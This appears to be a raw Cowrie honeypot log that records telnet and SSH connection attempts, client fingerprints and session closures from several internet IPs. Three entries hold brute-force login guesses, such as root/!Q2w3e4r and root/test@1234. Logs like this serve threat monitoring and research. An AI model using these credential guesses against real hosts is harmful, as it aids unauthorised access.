{"eventid":"cowrie.session.closed","duration":30.55765390396118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:16.082474Z","src_ip":"5.189.169.71","session":"caa92da54cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33150,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6393f101406","protocol":"telnet","message":"New connection: 94.23.163.94:33150 (10.17.0.5:23) [session: f6393f101406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:16.230117Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58606,"dst_ip":"10.17.0.5","dst_port":23,"session":"da5c061e3b71","protocol":"telnet","message":"New connection: 5.189.169.71:58606 (10.17.0.5:23) [session: da5c061e3b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:16.572479Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46242,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae49e71a0c83","protocol":"ssh","message":"New connection: 176.65.139.103:46242 (10.17.0.5:22) [session: ae49e71a0c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:16.681958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:16.690708Z","src_ip":"176.65.139.103","session":"ae49e71a0c83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:16.798599Z","src_ip":"176.65.139.103","session":"ae49e71a0c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:17.047442Z","src_ip":"176.65.139.103","session":"ae49e71a0c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58612,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b83f994fe9","protocol":"telnet","message":"New connection: 5.189.169.71:58612 (10.17.0.5:23) [session: 49b83f994fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:17.735077Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59506,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2569b951335","protocol":"telnet","message":"New connection: 23.254.167.244:59506 (159.203.135.109:23) [session: b2569b951335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:18.037625Z"}
{"eventid":"cowrie.session.closed","duration":30.72196388244629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:18.097323Z","src_ip":"37.220.31.6","session":"dc6135fe071d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:18.217186Z","src_ip":"176.65.139.103","session":"ae49e71a0c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b40c5abdcd5e","protocol":"telnet","message":"New connection: 5.189.169.71:55232 (10.17.0.5:23) [session: b40c5abdcd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:18.961914Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55242,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d19836c11c5","protocol":"telnet","message":"New connection: 5.189.169.71:55242 (10.17.0.5:23) [session: 1d19836c11c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:18.988499Z"}
{"eventid":"cowrie.session.closed","duration":31.05155301094055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:19.123091Z","src_ip":"94.23.163.94","session":"5cf19066d2ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51870,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe139ae0ef3a","protocol":"telnet","message":"New connection: 213.136.75.179:51870 (10.17.0.5:23) [session: fe139ae0ef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.005945Z"}
{"eventid":"cowrie.session.closed","duration":31.0065975189209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.071326Z","src_ip":"5.189.169.71","session":"0bc09b6354b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97419500350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.101118Z","src_ip":"5.189.169.71","session":"56e063dd4394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55250,"dst_ip":"10.17.0.5","dst_port":23,"session":"d031a1582c2b","protocol":"telnet","message":"New connection: 5.189.169.71:55250 (10.17.0.5:23) [session: d031a1582c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.258197Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"300c80ab4702","protocol":"telnet","message":"New connection: 94.23.163.94:33152 (10.17.0.5:23) [session: 300c80ab4702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.402485Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":52382,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee820027f1da","protocol":"telnet","message":"New connection: 5.189.178.126:52382 (10.17.0.5:23) [session: ee820027f1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.410733Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55260,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b4beef3fafb","protocol":"telnet","message":"New connection: 5.189.169.71:55260 (10.17.0.5:23) [session: 3b4beef3fafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.436768Z"}
{"eventid":"cowrie.session.closed","duration":31.3987135887146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:20.697658Z","src_ip":"5.189.169.71","session":"46ba44b8832c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98818325996399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:21.052619Z","src_ip":"5.189.169.71","session":"6622236de384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00105857849121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:21.149194Z","src_ip":"94.23.163.94","session":"45c31f7d1cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710371732711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:21.565409Z","src_ip":"5.189.169.71","session":"e9afdc39b25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55270,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d0d0809254","protocol":"telnet","message":"New connection: 5.189.169.71:55270 (10.17.0.5:23) [session: f4d0d0809254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:21.578737Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55274,"dst_ip":"10.17.0.5","dst_port":23,"session":"0328df734f84","protocol":"telnet","message":"New connection: 5.189.169.71:55274 (10.17.0.5:23) [session: 0328df734f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:21.676470Z"}
{"eventid":"cowrie.session.closed","duration":30.69308090209961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:22.093824Z","src_ip":"5.189.169.71","session":"c4dd85b4df1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702821969985962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:22.187509Z","src_ip":"94.23.163.94","session":"0986ab47e13a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305713891983032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:22.297848Z","src_ip":"5.189.169.71","session":"a54fb627d2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.541181802749634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:23.062911Z","src_ip":"94.23.163.94","session":"397eaf77e082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480104684829712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:23.095035Z","src_ip":"5.189.169.71","session":"2904ff09f279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58a1a74559a","protocol":"telnet","message":"New connection: 94.23.163.94:51124 (10.17.0.5:23) [session: b58a1a74559a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:23.254140Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51126,"dst_ip":"10.17.0.5","dst_port":23,"session":"043128dd1e97","protocol":"telnet","message":"New connection: 94.23.163.94:51126 (10.17.0.5:23) [session: 043128dd1e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:23.595803Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51134,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7bd8d561a1","protocol":"telnet","message":"New connection: 94.23.163.94:51134 (10.17.0.5:23) [session: bf7bd8d561a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:24.378460Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51136,"dst_ip":"10.17.0.5","dst_port":23,"session":"3778c5e6363c","protocol":"telnet","message":"New connection: 94.23.163.94:51136 (10.17.0.5:23) [session: 3778c5e6363c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:24.624299Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55286,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f9871cc259","protocol":"telnet","message":"New connection: 5.189.169.71:55286 (10.17.0.5:23) [session: 62f9871cc259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:24.797800Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51140,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f96b6d0d46","protocol":"telnet","message":"New connection: 94.23.163.94:51140 (10.17.0.5:23) [session: d9f96b6d0d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:25.800217Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46320,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a5be427ab2e","protocol":"ssh","message":"New connection: 176.65.139.103:46320 (10.17.0.5:22) [session: 6a5be427ab2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:25.841369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:25.855728Z","src_ip":"176.65.139.103","session":"6a5be427ab2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:25.954605Z","src_ip":"176.65.139.103","session":"6a5be427ab2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55296,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e3f4fc7ffb","protocol":"telnet","message":"New connection: 5.189.169.71:55296 (10.17.0.5:23) [session: e1e3f4fc7ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:26.230764Z"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:26.270384Z","src_ip":"176.65.139.103","session":"6a5be427ab2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55304,"dst_ip":"10.17.0.5","dst_port":23,"session":"834a4ff7af56","protocol":"telnet","message":"New connection: 5.189.169.71:55304 (10.17.0.5:23) [session: 834a4ff7af56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:26.579930Z"}
{"eventid":"cowrie.session.closed","duration":30.27188491821289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.080527Z","src_ip":"5.189.169.71","session":"6f01faf5b671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55314,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1b90e9342bf","protocol":"telnet","message":"New connection: 5.189.169.71:55314 (10.17.0.5:23) [session: f1b90e9342bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.290618Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.477436Z","src_ip":"176.65.139.103","session":"6a5be427ab2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.047189712524414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.542290Z","src_ip":"5.189.169.71","session":"f8623bf47a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51150,"dst_ip":"10.17.0.5","dst_port":23,"session":"f70e9310e44b","protocol":"telnet","message":"New connection: 94.23.163.94:51150 (10.17.0.5:23) [session: f70e9310e44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.743151Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51154,"dst_ip":"10.17.0.5","dst_port":23,"session":"085e3f47f8bc","protocol":"telnet","message":"New connection: 94.23.163.94:51154 (10.17.0.5:23) [session: 085e3f47f8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.797674Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55330,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac9202d78815","protocol":"telnet","message":"New connection: 5.189.169.71:55330 (10.17.0.5:23) [session: ac9202d78815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:27.837596Z"}
{"eventid":"cowrie.session.closed","duration":30.104461669921875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:28.051423Z","src_ip":"5.189.169.71","session":"643601e0bf6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786288738250732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:28.163403Z","src_ip":"94.23.163.94","session":"3dbd715bafba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":33032,"dst_ip":"10.17.0.5","dst_port":22,"session":"eccc2a5141ad","protocol":"ssh","message":"New connection: 20.244.18.126:33032 (10.17.0.5:22) [session: eccc2a5141ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:28.500376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:28.504298Z","src_ip":"20.244.18.126","session":"eccc2a5141ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:28.692811Z","src_ip":"20.244.18.126","session":"eccc2a5141ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51158,"dst_ip":"10.17.0.5","dst_port":23,"session":"843cd8bdfdf9","protocol":"telnet","message":"New connection: 94.23.163.94:51158 (10.17.0.5:23) [session: 843cd8bdfdf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:28.867941Z"}
{"eventid":"cowrie.session.closed","duration":30.704132795333862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:29.083166Z","src_ip":"5.189.169.71","session":"4e3d8d5f9330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60184,"dst_ip":"10.17.0.5","dst_port":23,"session":"da598fc031aa","protocol":"telnet","message":"New connection: 5.189.169.71:60184 (10.17.0.5:23) [session: da598fc031aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:29.341691Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@1234","message":"login attempt [root/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:29.475602Z","src_ip":"20.244.18.126","session":"eccc2a5141ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60196,"dst_ip":"10.17.0.5","dst_port":23,"session":"835d63609d48","protocol":"telnet","message":"New connection: 5.189.169.71:60196 (10.17.0.5:23) [session: 835d63609d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:29.941365Z"}
{"eventid":"cowrie.session.closed","duration":30.778523445129395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:30.053160Z","src_ip":"5.189.169.71","session":"08a097d5e064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60206,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc19ae0fb17","protocol":"telnet","message":"New connection: 5.189.169.71:60206 (10.17.0.5:23) [session: 4bc19ae0fb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:30.059188Z"}
{"eventid":"cowrie.session.closed","duration":30.4016170501709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:30.068704Z","src_ip":"5.189.169.71","session":"c0772d7dc308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:30.666144Z","src_ip":"20.244.18.126","session":"eccc2a5141ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.58947491645813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:30.727678Z","src_ip":"5.189.169.71","session":"646fd7ff4e46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60212,"dst_ip":"10.17.0.5","dst_port":23,"session":"031d785d436c","protocol":"telnet","message":"New connection: 5.189.169.71:60212 (10.17.0.5:23) [session: 031d785d436c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:30.927697Z"}
